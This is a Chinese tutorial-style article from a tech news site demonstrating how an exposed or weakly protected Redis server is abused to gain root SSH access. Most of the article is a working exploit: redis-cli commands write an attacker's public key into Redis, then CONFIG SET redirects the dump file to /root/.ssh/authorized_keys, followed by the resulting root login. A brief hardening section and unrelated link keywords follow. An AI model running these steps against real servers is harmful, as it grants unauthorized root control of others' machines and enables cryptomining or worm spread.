Redis挖矿原理的示例分析
发表于:2024-11-25 作者:千家信息网编辑
千家信息网最后更新 2024年11月25日,这篇文章主要介绍Redis挖矿原理的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!演示一下如果通过Redis进行提权获取远程服务器的Root用户。1、首先我们需要一些先
千家信息网最后更新 2024年11月25日Redis挖矿原理的示例分析
这篇文章主要介绍Redis挖矿原理的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!
演示一下如果通过Redis进行提权获取远程服务器的Root用户。
1、首先我们需要一些先决条件
条件一:你首先要有一个Redis,并且我们要知道他的端口【默认6379】;
条件二:Redis的密码不能过于复杂,或者没有密码;
条件三:启动Redis的用户最好是Root用户,这样破坏性更大;
2、开始搞事情
2.1 创建一对秘钥
通过ssh-keygen生成一对,当然可以使用已经有的都没有问题。
root@kali:/usr/local/src# ssh-keygenGenerating public/private rsa key pair.Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa
接下来通过公钥生成攻击键值
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt
内容如下
root@kali:/tmp/rediskey# cat foo.txtssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali
这里前后增加两个换行符是为了防止数据连接在一起造成失效问题。
2.2 配置Key到Redis中
操作如下:
root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set barOK
登录Redis进行检查,是否已经写入进Redis中。
root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129192.168.243.129:6379> get bar"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"
2.3 通过Redis保存机制替换系统文件
且看如下操作
192.168.243.129:6379> config set dir /root/.sshOK192.168.243.129:6379> config get dir1) "dir"2) "/root/.ssh"192.168.243.129:6379> config set dbfilename "authorized_keys"OK192.168.243.129:6379> saveOK192.168.243.129:6379> exit
这个时候,我们登录远程主机看下效果。
root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established.ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU.Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts.Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1root@kali:~#
OK,到这里我们已经提权成功了,那我们看下导出文件到底是什么呢?其实就是Redis的保存文件形式罢了,有兴趣可以自己打开看看,这里不再展示。
3、如何预防
这个漏洞威力还是挺大的,我们现在只是拿到主机权限一个而已,加入放到定时任务执行一些脚本然后在批量感染呢?
防范的技巧如下:
Redis不要监听在危险IP上,如果有请加防火墙控制
Redis一定要增加密码限制,且不能是弱口令;
Redis尽量不要用Root用户身份来启动。
做到如上三点防范Redis挖矿,没问题的
以上是"Redis挖矿原理的示例分析"这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注行业资讯频道!
条件
用户
内容
密码
文件
问题
原理
示例
分析
主机
兴趣
篇文章
生成
登录
复杂
危险
接下来
两个
事情
任务
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
七一期间网络安全保障工作总结
php数据库操作
联联网络技术有限公司
中外文献数据库种类
奉贤区智能软件开发规格尺寸
主站与从站客服端与服务器
大量数据库导出
格力郑州软件开发工资多少
相关网络安全法律法规
一般服务器价格
软件开发著作书模板
公司服务器文件管理
skypixel服务器
明日之后夏尔镇服务器怎样赚金条
软件开发部助理职责
搞网络安全去哪个城市
江苏电商软件开发价钱是多少
分配服务器请稍后
数据库基础期末考试试题
数据库查询语句对字段命名
学习网络安全教育活动
华为云服务器学习linux
数据库安全管理的意义
数据库 怎么创建索引
个人注册软件开发营业执照
网络技术专科课程
如何判断服务器ip冲突
数据库暂停更新
做网络技术维护的有年终奖吗
爱宝收银机怎么把数据库删除